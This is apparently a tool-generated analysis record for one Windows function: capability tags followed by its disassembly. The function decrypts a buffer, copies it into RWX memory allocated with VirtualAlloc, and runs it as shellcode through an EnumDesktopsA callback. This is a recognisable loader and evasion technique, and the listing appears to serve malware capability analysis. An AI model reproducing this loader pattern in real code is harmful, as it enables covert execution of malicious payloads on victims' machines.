Function at 0x140007ea0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x1e8
lea rbp, [rsp + 0x80]
lea rsi, [0x14000a0a0]
lea r12, str._02x
call fcn.1400015e0
lea r15, [rbp - 0x30]
lea rcx, [rbp - 0x50]
movdqu xmm0, xmmword [0x14000a1c0]
mov rdx, r15
lea rdi, [rbp + 0x40]
movups xmmword [rbp - 0x50], xmm0
call fcn.140007d70
mov ecx, 0x23
rep movsq qword [rdi], qword [rsi]
lea rcx, str.original_data:_n
mov eax, dword [rsi]
lea rsi, [rbp + 0x15d]
mov dword [rdi], eax
movzx eax, byte [0x14000a1bc]
mov byte [rdi + 4], al
call fcn.140007e10
lea rax, [rbp + 0x40]
mov qword [rbp - 0x58], rax
mov rbx, rax
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007e10
cmp rbx, rsi
jne 0x140007f28
lea rcx, [0x14000a016]
xor r13d, r13d
lea rbx, [rbp - 0x40]
call fcn.140007e10
mov rax, qword [rbp + 0x40]
sub rsp, 0x120
lea r14, [rsp + 0x20]
lea rdi, [rsp + 0x28]
sub rsp, 0x120
mov qword [rsp + 0x140], rax
mov rax, qword [rbp + 0x155]
mov qword [rsp + 0x255], rax
mov rax, r14
mov rsi, qword [rbp - 0x58]
sub rax, rdi
sub rsi, rax
add eax, 0x11d
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x20]
sub rsp, 0x120
lea rsi, [rsp + 0x20]
nop dword [rax]
movdqu xmm1, xmmword [r14 + r13]
mov rdx, rbx
mov rcx, r15
movups xmmword [rbp - 0x40], xmm1
call fcn.140007ce0
movdqu xmm2, xmmword [rbp - 0x40]
mov rdx, rbx
mov rcx, r15
movups xmmword [rdi + r13], xmm2
call fcn.140007c30
movdqu xmm3, xmmword [rbp - 0x40]
movups xmmword [rsi + r13], xmm3
add r13, 4
cmp r13, 0x120
jne 0x140007fb0
lea rcx, str.padded_data:_n
mov rbx, r14
lea r15, [r14 + 0x120]
call fcn.140007e10
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007e10
cmp r15, rbx
jne 0x140008010
lea rcx, [0x14000a016]
lea rbx, [rdi + 0x120]
call fcn.140007e10
lea rcx, str.encrypted_data:_n
call fcn.140007e10
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
add rdi, 1
call fcn.140007e10
cmp rbx, rdi
jne 0x140008048
lea rcx, [0x14000a016]
mov rbx, rsi
lea rdi, [rsi + 0x120]
call fcn.140007e10
lea rcx, str.decrypted_data:_n
call fcn.140007e10
nop
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007e10
cmp rdi, rbx
jne 0x140008080
lea rcx, [0x14000a016]
call fcn.140007e10
mov rcx, qword [rbp - 0x58]
mov r8d, 0x11d
mov rdx, rsi
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000813f
lea rcx, str.encryption_and_decryption_successful._n
call fcn.140007e10
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x11d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rax, qword [rsi]
lea rdi, [rbx + 8]
mov qword [rbx], rax
mov rax, qword [rsi + 0x115]
and rdi, 0xfffffffffffffff8
mov qword [rbx + 0x115], rax
mov rax, rbx
sub rax, rdi
sub rsi, rax
add eax, 0x11d
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
lea rsp, [rbp + 0x168]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.encryption_and_decryption_failed._n
call fcn.140007e10
jmp 0x1400080c6